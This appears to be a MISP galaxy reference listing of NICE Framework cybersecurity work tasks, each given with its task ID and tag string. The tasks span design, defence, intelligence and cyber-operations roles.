Evaluate locally developed tools

The tag is: *misp-galaxy:nice-framework-tasks="Evaluate locally developed tools - T1829"*

Validate data mining and data warehousing programs, processes, and requirements - T1142

Validate data mining and data warehousing programs, processes, and requirements

The tag is: *misp-galaxy:nice-framework-tasks="Validate data mining and data warehousing programs, processes, and requirements - T1142"*

Identify system and network capabilities - T1337

Identify system and network capabilities

The tag is: *misp-galaxy:nice-framework-tasks="Identify system and network capabilities - T1337"*

Develop cybersecurity capability strategies for custom hardware and software development - T1338

Develop cybersecurity capability strategies for custom hardware and software development

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity capability strategies for custom hardware and software development - T1338"*

Identify cybersecurity solutions tools and technologies - T1378

Identify cybersecurity solutions tools and technologies

The tag is: *misp-galaxy:nice-framework-tasks="Identify cybersecurity solutions tools and technologies - T1378"*

Design cybersecurity tools and technologies - T1379

Design cybersecurity tools and technologies

The tag is: *misp-galaxy:nice-framework-tasks="Design cybersecurity tools and technologies - T1379"*

Develop cybersecurity tools and technologies - T1380

Develop cybersecurity tools and technologies

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity tools and technologies - T1380"*

Evaluate network infrastructure vulnerabilities - T1424

Evaluate network infrastructure vulnerabilities

The tag is: *misp-galaxy:nice-framework-tasks="Evaluate network infrastructure vulnerabilities - T1424"*

Recommend network infrastructure enhancements - T1425

Recommend network infrastructure enhancements

The tag is: *misp-galaxy:nice-framework-tasks="Recommend network infrastructure enhancements - T1425"*

Design data management systems - T1491

Design data management systems

The tag is: *misp-galaxy:nice-framework-tasks="Design data management systems - T1491"*

Troubleshoot prototype design and process issues - T1493

Troubleshoot prototype design and process issues

The tag is: *misp-galaxy:nice-framework-tasks="Troubleshoot prototype design and process issues - T1493"*

Recommend vulnerability exploitation functional and security-related features - T1494

Recommend vulnerability exploitation functional and security-related features

The tag is: *misp-galaxy:nice-framework-tasks="Recommend vulnerability exploitation functional and security-related features - T1494"*

Recommend vulnerability mitigation functional- and security-related features - T1495

Recommend vulnerability mitigation functional- and security-related features

The tag is: *misp-galaxy:nice-framework-tasks="Recommend vulnerability mitigation functional- and security-related features - T1495"*

Develop reverse engineering tools - T1496

Develop reverse engineering tools

The tag is: *misp-galaxy:nice-framework-tasks="Develop reverse engineering tools - T1496"*

Translate functional requirements into technical solutions - T0235

Translate functional requirements into technical solutions

The tag is: *misp-galaxy:nice-framework-tasks="Translate functional requirements into technical solutions - T0235"*

Identify critical technology procurement requirements - T1023

Identify critical technology procurement requirements

The tag is: *misp-galaxy:nice-framework-tasks="Identify critical technology procurement requirements - T1023"*

Implement intelligence collection requirements - T1031

Implement intelligence collection requirements

The tag is: *misp-galaxy:nice-framework-tasks="Implement intelligence collection requirements - T1031"*

Determine functional requirements and specifications - T1097

Determine functional requirements and specifications

The tag is: *misp-galaxy:nice-framework-tasks="Determine functional requirements and specifications - T1097"*

Evaluate functional requirements - T1107

Evaluate functional requirements

The tag is: *misp-galaxy:nice-framework-tasks="Evaluate functional requirements - T1107"*

Oversee the development of design solutions - T1115

Oversee the development of design solutions

The tag is: *misp-galaxy:nice-framework-tasks="Oversee the development of design solutions - T1115"*

Define project scope and objectives - T1127

Define project scope and objectives

The tag is: *misp-galaxy:nice-framework-tasks="Define project scope and objectives - T1127"*

Develop systems design procedures and processes - T1139

Develop systems design procedures and processes

The tag is: *misp-galaxy:nice-framework-tasks="Develop systems design procedures and processes - T1139"*

Determine if system analysis meets cybersecurity requirements - T1217

Determine if system analysis meets cybersecurity requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if system analysis meets cybersecurity requirements - T1217"*

Oversee configuration management - T1243

Oversee configuration management

The tag is: *misp-galaxy:nice-framework-tasks="Oversee configuration management - T1243"*

Develop configuration management recommendations - T1244

Develop configuration management recommendations

The tag is: *misp-galaxy:nice-framework-tasks="Develop configuration management recommendations - T1244"*

Identify opportunities for new and improved business process solutions - T1259

Identify opportunities for new and improved business process solutions

The tag is: *misp-galaxy:nice-framework-tasks="Identify opportunities for new and improved business process solutions - T1259"*

Develop cybersecurity use cases - T1283

Develop cybersecurity use cases

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity use cases - T1283"*

Identify supply chain risks for critical system elements - T1366

Identify supply chain risks for critical system elements

The tag is: *misp-galaxy:nice-framework-tasks="Identify supply chain risks for critical system elements - T1366"*

Document supply chain risks for critical system elements - T1367

Document supply chain risks for critical system elements

The tag is: *misp-galaxy:nice-framework-tasks="Document supply chain risks for critical system elements - T1367"*

Develop user experience requirements - T1392

Develop user experience requirements

The tag is: *misp-galaxy:nice-framework-tasks="Develop user experience requirements - T1392"*

Document user experience requirements - T1393

Document user experience requirements

The tag is: *misp-galaxy:nice-framework-tasks="Document user experience requirements - T1393"*

Develop quality standards - T1408

Develop quality standards

The tag is: *misp-galaxy:nice-framework-tasks="Develop quality standards - T1408"*

Document quality standards - T1409

Document quality standards

The tag is: *misp-galaxy:nice-framework-tasks="Document quality standards - T1409"*

Determine if system components can be aligned - T1430

Determine if system components can be aligned

The tag is: *misp-galaxy:nice-framework-tasks="Determine if system components can be aligned - T1430"*

Integrate system components - T1431

Integrate system components

The tag is: *misp-galaxy:nice-framework-tasks="Integrate system components - T1431"*

Develop cost estimates for new or modified systems - T1534

Develop cost estimates for new or modified systems

The tag is: *misp-galaxy:nice-framework-tasks="Develop cost estimates for new or modified systems - T1534"*

Determine if developed solutions meet customer requirements - T1573

Determine if developed solutions meet customer requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if developed solutions meet customer requirements - T1573"*

Prepare trend analysis reports - T1429

Prepare trend analysis reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare trend analysis reports - T1429"*

Address security architecture gaps - T1591

Address security architecture gaps

The tag is: *misp-galaxy:nice-framework-tasks="Address security architecture gaps - T1591"*

Plan implementation strategies - T1597

Plan implementation strategies

The tag is: *misp-galaxy:nice-framework-tasks="Plan implementation strategies - T1597"*

Assess the integration and alignment capabilities of enterprise components - T1598

Assess the integration and alignment capabilities of enterprise components

The tag is: *misp-galaxy:nice-framework-tasks="Assess the integration and alignment capabilities of enterprise components - T1598"*

Prepare impact reports - T1606

Prepare impact reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare impact reports - T1606"*

Determine impact of new systems and system interfaces on current and target environments - T1626

Determine impact of new systems and system interfaces on current and target environments

The tag is: *misp-galaxy:nice-framework-tasks="Determine impact of new systems and system interfaces on current and target environments - T1626"*

Integrate black-box security testing tools into quality assurance processes - T1052

Integrate black-box security testing tools into quality assurance processes

The tag is: *misp-galaxy:nice-framework-tasks="Integrate black-box security testing tools into quality assurance processes - T1052"*

Develop threat models - T1106

Develop threat models

The tag is: *misp-galaxy:nice-framework-tasks="Develop threat models - T1106"*

Determine security requirements for new information technologies - T1222

Determine security requirements for new information technologies

The tag is: *misp-galaxy:nice-framework-tasks="Determine security requirements for new information technologies - T1222"*

Determine security requirements for new operational technologies - T1223

Determine security requirements for new operational technologies

The tag is: *misp-galaxy:nice-framework-tasks="Determine security requirements for new operational technologies - T1223"*

Identify system cybersecurity requirements - T1354

Identify system cybersecurity requirements

The tag is: *misp-galaxy:nice-framework-tasks="Identify system cybersecurity requirements - T1354"*

Perform penetration testing - T1359

Perform penetration testing

The tag is: *misp-galaxy:nice-framework-tasks="Perform penetration testing - T1359"*

Identify programming flaws - T1590

Identify programming flaws

The tag is: *misp-galaxy:nice-framework-tasks="Identify programming flaws - T1590"*

Determine customer requirements - T1658

Determine customer requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine customer requirements - T1658"*

Identify system security requirements - T1913

Identify system security requirements

The tag is: *misp-galaxy:nice-framework-tasks="Identify system security requirements - T1913"*

Provide real-time actionable geolocation information - T0796

Provide real-time actionable geolocation information

The tag is: *misp-galaxy:nice-framework-tasks="Provide real-time actionable geolocation information - T0796"*

Prepare deconfliction report - T1034

Prepare deconfliction report

The tag is: *misp-galaxy:nice-framework-tasks="Prepare deconfliction report - T1034"*

Determine how threat activity groups employ encryption to support their operations - T1035

Determine how threat activity groups employ encryption to support their operations

The tag is: *misp-galaxy:nice-framework-tasks="Determine how threat activity groups employ encryption to support their operations - T1035"*

Identify network artifacts from hardware and software options - T1039

Identify network artifacts from hardware and software options

The tag is: *misp-galaxy:nice-framework-tasks="Identify network artifacts from hardware and software options - T1039"*

Identify impact of network artifacts on exploitation - T1040

Identify impact of network artifacts on exploitation

The tag is: *misp-galaxy:nice-framework-tasks="Identify impact of network artifacts on exploitation - T1040"*

Identify target operational architecture vulnerabilities - T1633

Identify target operational architecture vulnerabilities

The tag is: *misp-galaxy:nice-framework-tasks="Identify target operational architecture vulnerabilities - T1633"*

Identify potential avenues of access in digital technologies - T1663

Identify potential avenues of access in digital technologies

The tag is: *misp-galaxy:nice-framework-tasks="Identify potential avenues of access in digital technologies - T1663"*

Access wireless computer and digital networks - T1664

Access wireless computer and digital networks

The tag is: *misp-galaxy:nice-framework-tasks="Access wireless computer and digital networks - T1664"*

Process intelligence collection data - T1665

Process intelligence collection data

The tag is: *misp-galaxy:nice-framework-tasks="Process intelligence collection data - T1665"*

Exploit wireless computer and digital networks - T1666

Exploit wireless computer and digital networks

The tag is: *misp-galaxy:nice-framework-tasks="Exploit wireless computer and digital networks - T1666"*

Conduct network scouting - T1668

Conduct network scouting

The tag is: *misp-galaxy:nice-framework-tasks="Conduct network scouting - T1668"*

Analyze system vulnerabilities within a network - T1669

Analyze system vulnerabilities within a network

The tag is: *misp-galaxy:nice-framework-tasks="Analyze system vulnerabilities within a network - T1669"*

Conduct on-net activities - T1670

Conduct on-net activities

The tag is: *misp-galaxy:nice-framework-tasks="Conduct on-net activities - T1670"*

Exfiltrate data from deployed technologies - T1671

Exfiltrate data from deployed technologies

The tag is: *misp-galaxy:nice-framework-tasks="Exfiltrate data from deployed technologies - T1671"*

Conduct off-net activities - T1672

Conduct off-net activities

The tag is: *misp-galaxy:nice-framework-tasks="Conduct off-net activities - T1672"*

Exfiltrate data from automated technologies - T1673

Exfiltrate data from automated technologies

The tag is: *misp-galaxy:nice-framework-tasks="Exfiltrate data from automated technologies - T1673"*

Perform open source data collection - T1674

Perform open source data collection

The tag is: *misp-galaxy:nice-framework-tasks="Perform open source data collection - T1674"*

Survey computer and digital networks - T1676

Survey computer and digital networks

The tag is: *misp-galaxy:nice-framework-tasks="Survey computer and digital networks - T1676"*

Detect exploits against targeted networks and hosts - T1691

Detect exploits against targeted networks and hosts

The tag is: *misp-galaxy:nice-framework-tasks="Detect exploits against targeted networks and hosts - T1691"*

Counter exploits against targeted networks and hosts - T1692

Counter exploits against targeted networks and hosts

The tag is: *misp-galaxy:nice-framework-tasks="Counter exploits against targeted networks and hosts - T1692"*

Develop new techniques for accessing target systems - T1709

Develop new techniques for accessing target systems

The tag is: *misp-galaxy:nice-framework-tasks="Develop new techniques for accessing target systems -*

T1709"

Exploit network devices and terminals - T1734

Exploit network devices and terminals

The tag is: *misp-galaxy:nice-framework-tasks="Exploit network devices and terminals - T1734"*

Identify system vulnerabilities within a network - T1747

Identify system vulnerabilities within a network

The tag is: *misp-galaxy:nice-framework-tasks="Identify system vulnerabilities within a network - T1747"*

Maintain situational awareness of organic operational infrastructure - T1759

Maintain situational awareness of organic operational infrastructure

The tag is: *misp-galaxy:nice-framework-tasks="Maintain situational awareness of organic operational infrastructure - T1759"*

Maintain functionality of organic operational infrastructure - T1760

Maintain functionality of organic operational infrastructure

The tag is: *misp-galaxy:nice-framework-tasks="Maintain functionality of organic operational infrastructure - T1760"*

Gain and maintain access to target systems - T1774

Gain and maintain access to target systems

The tag is: *misp-galaxy:nice-framework-tasks="Gain and maintain access to target systems - T1774"*

Degrade or remove data from networks and computers - T1781

Degrade or remove data from networks and computers

The tag is: *misp-galaxy:nice-framework-tasks="Degrade or remove data from networks and computers - T1781"*

Process exfiltrated data - T1784

Process exfiltrated data

The tag is: *misp-galaxy:nice-framework-tasks="Process exfiltrated data - T1784"*

Document information collection and environment activities - T1803

Document information collection and environment activities

The tag is: *misp-galaxy:nice-framework-tasks="Document information collection and environment activities - T1803"*

Test internally developed software - T1830

Test internally developed software

The tag is: *misp-galaxy:nice-framework-tasks="Test internally developed software - T1830"*

Perform analysis for target infrastructure exploitation activities - T0591

Perform analysis for target infrastructure exploitation activities

The tag is: *misp-galaxy:nice-framework-tasks="Perform analysis for target infrastructure exploitation activities - T0591"*

Produce network reconstructions - T0775

Produce network reconstructions

The tag is: *misp-galaxy:nice-framework-tasks="Produce network reconstructions - T0775"*

Expand network access - T1012

Expand network access

The tag is: *misp-galaxy:nice-framework-tasks="Expand network access - T1012"*

Conduct technical exploitation of a target - T1013

Conduct technical exploitation of a target

The tag is: *misp-galaxy:nice-framework-tasks="Conduct technical exploitation of a target - T1013"*

Perform authorized penetration testing on enterprise network assets - T1091

Perform authorized penetration testing on enterprise network assets

The tag is: *misp-galaxy:nice-framework-tasks="Perform authorized penetration testing on enterprise network assets - T1091"*

Track targets - T1211

Track targets

The tag is: *misp-galaxy:nice-framework-tasks="Track targets - T1211"*

Access targeted networks - T1635

Access targeted networks

The tag is: *misp-galaxy:nice-framework-tasks="Access targeted networks - T1635"*

Conduct independent in-depth target and technical analysis - T1667

Conduct independent in-depth target and technical analysis

The tag is: *misp-galaxy:nice-framework-tasks="Conduct independent in-depth target and technical analysis - T1667"*

Develop intelligence collection plans - T1677

Develop intelligence collection plans

The tag is: *misp-galaxy:nice-framework-tasks="Develop intelligence collection plans - T1677"*

Create comprehensive exploitation strategies - T1689

Create comprehensive exploitation strategies

The tag is: *misp-galaxy:nice-framework-tasks="Create comprehensive exploitation strategies - T1689"*

Identify exploitable technical or operational vulnerabilities - T1690

Identify exploitable technical or operational vulnerabilities

The tag is: *misp-galaxy:nice-framework-tasks="Identify exploitable technical or operational*

vulnerabilities - T1690"

Communicate tool requirements to developers - T1736

Communicate tool requirements to developers

The tag is: *misp-galaxy:nice-framework-tasks="Communicate tool requirements to developers - T1736"*

Identify gaps in understanding of target technology - T1745

Identify gaps in understanding of target technology

The tag is: *misp-galaxy:nice-framework-tasks="Identify gaps in understanding of target technology - T1745"*

Locate targets - T1751

Locate targets

The tag is: *misp-galaxy:nice-framework-tasks="Locate targets - T1751"*

Coordinate exploitation operations - T1757

Coordinate exploitation operations

The tag is: *misp-galaxy:nice-framework-tasks="Coordinate exploitation operations - T1757"*

Determine potential implications of new and emerging hardware and software technologies - T1758

Determine potential implications of new and emerging hardware and software technologies

The tag is: *misp-galaxy:nice-framework-tasks="Determine potential implications of new and emerging hardware and software technologies - T1758"*

Identify indications and warnings of target communication changes or processing failures - T1772

Identify indications and warnings of target communication changes or processing failures

The tag is: *misp-galaxy:nice-framework-tasks="Identify indications and warnings of target communication changes or processing failures - T1772"*

Profile network administrators and their activities - T1785

Profile network administrators and their activities

The tag is: *misp-galaxy:nice-framework-tasks="Profile network administrators and their activities - T1785"*

Conduct end-of-operations assessments - T0611

Conduct end-of-operations assessments

The tag is: *misp-galaxy:nice-framework-tasks="Conduct end-of-operations assessments - T0611"*

Conduct target research and analysis - T0624

Conduct target research and analysis

The tag is: *misp-galaxy:nice-framework-tasks="Conduct target research and analysis - T0624"*

Estimate operational effects generated through cyber activities - T0684

Estimate operational effects generated through cyber activities

The tag is: *misp-galaxy:nice-framework-tasks="Estimate operational effects generated through cyber activities - T0684"*

Evaluate threat decision-making processes - T0685

Evaluate threat decision-making processes

The tag is: *misp-galaxy:nice-framework-tasks="Evaluate threat decision-making processes - T0685"*

Identify threat vulnerabilities - T0686

Identify threat vulnerabilities

The tag is: *misp-galaxy:nice-framework-tasks="Identify threat vulnerabilities - T0686"*

Generate requests for information - T0707

Generate requests for information

The tag is: *misp-galaxy:nice-framework-tasks="Generate requests for information - T0707"*

Identify and characterize intrusion activities against a victim or target - T1053

Identify and characterize intrusion activities against a victim or target

The tag is: *misp-galaxy:nice-framework-tasks="Identify and characterize intrusion activities against a victim or target - T1053"*

Recommend cyber operation targets - T1638

Recommend cyber operation targets

The tag is: *misp-galaxy:nice-framework-tasks="Recommend cyber operation targets - T1638"*

Determine effectiveness of intelligence collection operations - T1640

Determine effectiveness of intelligence collection operations

The tag is: *misp-galaxy:nice-framework-tasks="Determine effectiveness of intelligence collection operations - T1640"*

Recommend adjustments to intelligence collection strategies - T1641

Recommend adjustments to intelligence collection strategies

The tag is: *misp-galaxy:nice-framework-tasks="Recommend adjustments to intelligence collection strategies - T1641"*

Advise stakeholders on course of action development - T1642

Advise stakeholders on course of action development

The tag is: *misp-galaxy:nice-framework-tasks="Advise stakeholders on course of action development - T1642"*

Develop common operational pictures - T1643

Develop common operational pictures

The tag is: *misp-galaxy:nice-framework-tasks="Develop common operational pictures - T1643"*

Coordinate all-source collection activities - T1645

Coordinate all-source collection activities

The tag is: *misp-galaxy:nice-framework-tasks="Coordinate all-source collection activities - T1645"*

Validate all-source collection requirements and plans - T1646

Validate all-source collection requirements and plans

The tag is: *misp-galaxy:nice-framework-tasks="Validate all-source collection requirements and plans - T1646"*

Develop priority information requirements - T1647

Develop priority information requirements

The tag is: *misp-galaxy:nice-framework-tasks="Develop priority information requirements - T1647"*

Develop performance success metrics - T1648

Develop performance success metrics

The tag is: *misp-galaxy:nice-framework-tasks="Develop performance success metrics - T1648"*

Prepare threat and target briefings - T1651

Prepare threat and target briefings

The tag is: *misp-galaxy:nice-framework-tasks="Prepare threat and target briefings - T1651"*

Prepare threat and target situational updates - T1652

Prepare threat and target situational updates

The tag is: *misp-galaxy:nice-framework-tasks="Prepare threat and target situational updates - T1652"*

Assess all-source data for intelligence or vulnerability value - T1661

Assess all-source data for intelligence or vulnerability value

The tag is: *misp-galaxy:nice-framework-tasks="Assess all-source data for intelligence or vulnerability value - T1661"*

Identify intelligence requirements - T1686

Identify intelligence requirements

The tag is: *misp-galaxy:nice-framework-tasks="Identify intelligence requirements - T1686"*

Prepare munitions effectiveness assessment reports - T1707

Prepare munitions effectiveness assessment reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare munitions effectiveness assessment reports - T1707"*

Modify collection requirements - T1762

Modify collection requirements

The tag is: *misp-galaxy:nice-framework-tasks="Modify collection requirements - T1762"*

Determine effectiveness of collection requirements - T1763

Determine effectiveness of collection requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine effectiveness of collection requirements - T1763"*

Monitor changes to designated cyber operations warning problem sets - T1765

Monitor changes to designated cyber operations warning problem sets

The tag is: *misp-galaxy:nice-framework-tasks="Monitor changes to designated cyber operations warning problem sets - T1765"*

Prepare change reports for designated cyber operations warning problem sets - T1766

Prepare change reports for designated cyber operations warning problem sets

The tag is: *misp-galaxy:nice-framework-tasks="Prepare change reports for designated cyber operations warning problem sets - T1766"*

Monitor threat activities - T1767

Monitor threat activities

The tag is: *misp-galaxy:nice-framework-tasks="Monitor threat activities - T1767"*

Prepare threat activity reports - T1768

Prepare threat activity reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare threat activity reports - T1768"*

Report on adversarial activities that fulfill priority information requirements - T1770

Report on adversarial activities that fulfill priority information requirements

The tag is: *misp-galaxy:nice-framework-tasks="Report on adversarial activities that fulfill priority information requirements - T1770"*

Prepare cyber operations intelligence reports - T1775

Prepare cyber operations intelligence reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare cyber operations intelligence reports - T1775"*

Prepare indications and warnings intelligence reports - T1776

Prepare indications and warnings intelligence reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare indications and warnings intelligence reports - T1776"*

Asssess effectiveness of intelligence production - T1792

Asssess effectiveness of intelligence production

The tag is: *misp-galaxy:nice-framework-tasks="Asssess effectiveness of intelligence production - T1792"*

Asssess effectiveness of intelligence reporting - T1793

Asssess effectiveness of intelligence reporting

The tag is: *misp-galaxy:nice-framework-tasks="Asssess effectiveness of intelligence reporting - T1793"*

Conduct post-action effectiveness assessments - T1795

Conduct post-action effectiveness assessments

The tag is: *misp-galaxy:nice-framework-tasks="Conduct post-action effectiveness assessments - T1795"*

Determine what technologies are used by a given target - T0650

Determine what technologies are used by a given target

The tag is: *misp-galaxy:nice-framework-tasks="Determine what technologies are used by a given target - T0650"*

Identify critical target elements - T0717

Identify critical target elements

The tag is: *misp-galaxy:nice-framework-tasks="Identify critical target elements - T0717"*

Maintain target lists (i.e., RTL, JTL, CTL, etc.) - T0744

Maintain target lists (i.e., RTL, JTL, CTL, etc.)

The tag is: *misp-galaxy:nice-framework-tasks="Maintain target lists (i.e., RTL, JTL, CTL, etc.) - T0744"*

Perform targeting automation activities - T0769

Perform targeting automation activities

The tag is: *misp-galaxy:nice-framework-tasks="Perform targeting automation activities - T0769"*

Produce target system analysis products - T0776

Produce target system analysis products

The tag is: *misp-galaxy:nice-framework-tasks="Produce target system analysis products - T0776"*

Profile targets and their activities - T0778

Profile targets and their activities

The tag is: *misp-galaxy:nice-framework-tasks="Profile targets and their activities - T0778"*

Determine cyber operation objectives - T1032

Determine cyber operation objectives

The tag is: *misp-galaxy:nice-framework-tasks="Determine cyber operation objectives - T1032"*

Acquire target identifiers - T1042

Acquire target identifiers

The tag is: *misp-galaxy:nice-framework-tasks="Acquire target identifiers - T1042"*

Identify potential threats to network resources - T1085

Identify potential threats to network resources

The tag is: *misp-galaxy:nice-framework-tasks="Identify potential threats to network resources - T1085"*

Prepare target analysis reports - T1629

Prepare target analysis reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare target analysis reports - T1629"*

Build electronic target folders - T1653

Build electronic target folders

The tag is: *misp-galaxy:nice-framework-tasks="Build electronic target folders - T1653"*

Maintain electronic target folders - T1654

Maintain electronic target folders

The tag is: *misp-galaxy:nice-framework-tasks="Maintain electronic target folders - T1654"*

Vet targets with partners - T1683

Vet targets with partners

The tag is: *misp-galaxy:nice-framework-tasks="Vet targets with partners - T1683"*

Prepare all-source intelligence targeting reports - T1697

Prepare all-source intelligence targeting reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare all-source intelligence targeting reports - T1697"*

Initiate requests to guide tasking - T1754

Initiate requests to guide tasking

The tag is: *misp-galaxy:nice-framework-tasks="Initiate requests to guide tasking - T1754"*

Develop website characterizations - T1782

Develop website characterizations

The tag is: *misp-galaxy:nice-framework-tasks="Develop website characterizations - T1782"*

Provide aim point recommendations for targets - T1789

Provide aim point recommendations for targets

The tag is: *misp-galaxy:nice-framework-tasks="Provide aim point recommendations for targets - T1789"*

Provide reengagement recommendations - T1790

Provide reengagement recommendations

The tag is: *misp-galaxy:nice-framework-tasks="Provide reengagement recommendations - T1790"*

Determine effectiveness of targeting activities - T1796

Determine effectiveness of targeting activities

The tag is: *misp-galaxy:nice-framework-tasks="Determine effectiveness of targeting activities - T1796"*

Determine validity and relevance of information - T1801

Determine validity and relevance of information

The tag is: *misp-galaxy:nice-framework-tasks="Determine validity and relevance of information -*

T1801"

Protect information sources and methods - T1814

Protect information sources and methods

The tag is: *misp-galaxy:nice-framework-tasks="Protect information sources and methods - T1814"*

Identify cyber collateral damage - T1824

Identify cyber collateral damage

The tag is: *misp-galaxy:nice-framework-tasks="Identify cyber collateral damage - T1824"*

Document cyber collateral damage - T1825

Document cyber collateral damage

The tag is: *misp-galaxy:nice-framework-tasks="Document cyber collateral damage - T1825"*

Classify documents - T1655

Classify documents

The tag is: *misp-galaxy:nice-framework-tasks="Classify documents - T1655"*

Identify information essential to intelligence collection operations - T1662

Identify information essential to intelligence collection operations

The tag is: *misp-galaxy:nice-framework-tasks="Identify information essential to intelligence collection operations - T1662"*

Determine validity and relevance of information gathered about networks - T1675

Determine validity and relevance of information gathered about networks

The tag is: *misp-galaxy:nice-framework-tasks="Determine validity and relevance of information gathered about networks - T1675"*

Collect target information - T1698

Collect target information

The tag is: *misp-galaxy:nice-framework-tasks="Collect target information - T1698"*

Determine effectiveness of network analysis strategies - T1732

Determine effectiveness of network analysis strategies

The tag is: *misp-galaxy:nice-framework-tasks="Determine effectiveness of network analysis strategies - T1732"*

Develop intelligence collection strategies - T1737

Develop intelligence collection strategies

The tag is: *misp-galaxy:nice-framework-tasks="Develop intelligence collection strategies - T1737"*

Identify information collection gaps - T1743

Identify information collection gaps

The tag is: *misp-galaxy:nice-framework-tasks="Identify information collection gaps - T1743"*

Prepare network reports - T1802

Prepare network reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare network reports - T1802"*

Research communications trends in emerging technologies - T1806

Research communications trends in emerging technologies

The tag is: *misp-galaxy:nice-framework-tasks="Research communications trends in emerging technologies - T1806"*

Analyze target communications - T1840

Analyze target communications

The tag is: *misp-galaxy:nice-framework-tasks="Analyze target communications - T1840"*

Inform external partners of the potential effects of new or revised policy and guidance on cyber operations partnering activities - T0729

Inform external partners of the potential effects of new or revised policy and guidance on cyber operations partnering activities

The tag is: *misp-galaxy:nice-framework-tasks="Inform external partners of the potential effects of new or revised policy and guidance on cyber operations partnering activities - T0729"*

Serve as a liaison with external partners - T0818

Serve as a liaison with external partners

The tag is: *misp-galaxy:nice-framework-tasks="Serve as a liaison with external partners - T0818"*

Synchronize intelligence support plans across partner organizations - T1649

Synchronize intelligence support plans across partner organizations

The tag is: *misp-galaxy:nice-framework-tasks="Synchronize intelligence support plans across partner organizations - T1649"*

Develop a diverse program of information materials - T1657

Develop a diverse program of information materials

The tag is: *misp-galaxy:nice-framework-tasks="Develop a diverse program of information materials - T1657"*

Develop cyber operations staffing policies - T1680

Develop cyber operations staffing policies

The tag is: *misp-galaxy:nice-framework-tasks="Develop cyber operations staffing policies - T1680"*

Develop international cybersecurity strategies, policies, and activities to meet organizational objectives - T1711

Develop international cybersecurity strategies, policies, and activities to meet organizational objectives

The tag is: *misp-galaxy:nice-framework-tasks="Develop international cybersecurity strategies, policies, and activities to meet organizational objectives - T1711"*

Develop partner planning strategies and processes - T1714

Develop partner planning strategies and processes

The tag is: *misp-galaxy:nice-framework-tasks="Develop partner planning strategies and processes - T1714"*

Develop operations strategies and processes - T1715

Develop operations strategies and processes

The tag is: *misp-galaxy:nice-framework-tasks="Develop operations strategies and processes - T1715"*

Develop capability development strategies and processes - T1716

Develop capability development strategies and processes

The tag is: *misp-galaxy:nice-framework-tasks="Develop capability development strategies and processes - T1716"*

Develop cybersecurity cooperation agreements with external partners - T1719

Develop cybersecurity cooperation agreements with external partners

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity cooperation agreements with external partners - T1719"*

Maintain cybersecurity cooperation agreements with external partners - T1720

Maintain cybersecurity cooperation agreements with external partners

The tag is: *misp-galaxy:nice-framework-tasks="Maintain cybersecurity cooperation agreements with external partners - T1720"*

Assess cybersecurity cooperation agreements with external partners - T1721

Assess cybersecurity cooperation agreements with external partners

The tag is: *misp-galaxy:nice-framework-tasks="Assess cybersecurity cooperation agreements with external partners - T1721"*

Identify security cooperation priorities - T1740

Identify security cooperation priorities

The tag is: *misp-galaxy:nice-framework-tasks="Identify security cooperation priorities - T1740"*

Conduct policy reviews - T1777

Conduct policy reviews

The tag is: *misp-galaxy:nice-framework-tasks="Conduct policy reviews - T1777"*

Assess the consequences of endorsing or not endorsing policies - T1778

Assess the consequences of endorsing or not endorsing policies

The tag is: *misp-galaxy:nice-framework-tasks="Assess the consequences of endorsing or not endorsing policies - T1778"*

Develop external coordination policies - T1780

Develop external coordination policies

The tag is: *misp-galaxy:nice-framework-tasks="Develop external coordination policies - T1780"*

Provide cyber recommendations to intelligence support planning - T1791

Provide cyber recommendations to intelligence support planning

The tag is: *misp-galaxy:nice-framework-tasks="Provide cyber recommendations to intelligence support planning - T1791"*

Recommend subject matter experts who can assist in the investigation of complex or unusual situations - T1816

Recommend subject matter experts who can assist in the investigation of complex or unusual situations

The tag is: *misp-galaxy:nice-framework-tasks="Recommend subject matter experts who can assist in the investigation of complex or unusual situations - T1816"*

Synchronize intelligence engagement activities across partner organizations - T1826

Synchronize intelligence engagement activities across partner organizations

The tag is: *misp-galaxy:nice-framework-tasks="Synchronize intelligence engagement activities across partner organizations - T1826"*

Synchronize cybersecurity cooperation plans - T1827

Synchronize cybersecurity cooperation plans

The tag is: *misp-galaxy:nice-framework-tasks="Synchronize cybersecurity cooperation plans - T1827"*

Develop content for cyber defense tools - T0020

Develop content for cyber defense tools

The tag is: *misp-galaxy:nice-framework-tasks="Develop content for cyber defense tools - T0020"*

Perform cyber defense trend analysis and reporting - T0164

Perform cyber defense trend analysis and reporting

The tag is: *misp-galaxy:nice-framework-tasks="Perform cyber defense trend analysis and reporting - T0164"*

Recommend computing environment vulnerability corrections - T0292

Recommend computing environment vulnerability corrections

The tag is: *misp-galaxy:nice-framework-tasks="Recommend computing environment vulnerability corrections - T0292"*

Identify network mapping and operating system (OS) fingerprinting activities - T0299

Identify network mapping and operating system (OS) fingerprinting activities

The tag is: *misp-galaxy:nice-framework-tasks="Identify network mapping and operating system (OS) fingerprinting activities - T0299"*

Review cyber defense service provider reporting structure - T1021

Review cyber defense service provider reporting structure

The tag is: *misp-galaxy:nice-framework-tasks="Review cyber defense service provider reporting structure - T1021"*

Validate network alerts - T1112

Validate network alerts

The tag is: *misp-galaxy:nice-framework-tasks="Validate network alerts - T1112"*

Determine if cybersecurity-enabled products reduce identified risk to acceptable levels - T1176

Determine if cybersecurity-enabled products reduce identified risk to acceptable levels

The tag is: *misp-galaxy:nice-framework-tasks="Determine if cybersecurity-enabled products reduce identified risk to acceptable levels - T1176"*

Determine if security control technologies reduce identified risk to acceptable levels - T1177

Determine if security control technologies reduce identified risk to acceptable levels

The tag is: *misp-galaxy:nice-framework-tasks="Determine if security control technologies reduce identified risk to acceptable levels - T1177"*

Document cybersecurity incidents - T1241

Document cybersecurity incidents

The tag is: *misp-galaxy:nice-framework-tasks="Document cybersecurity incidents - T1241"*

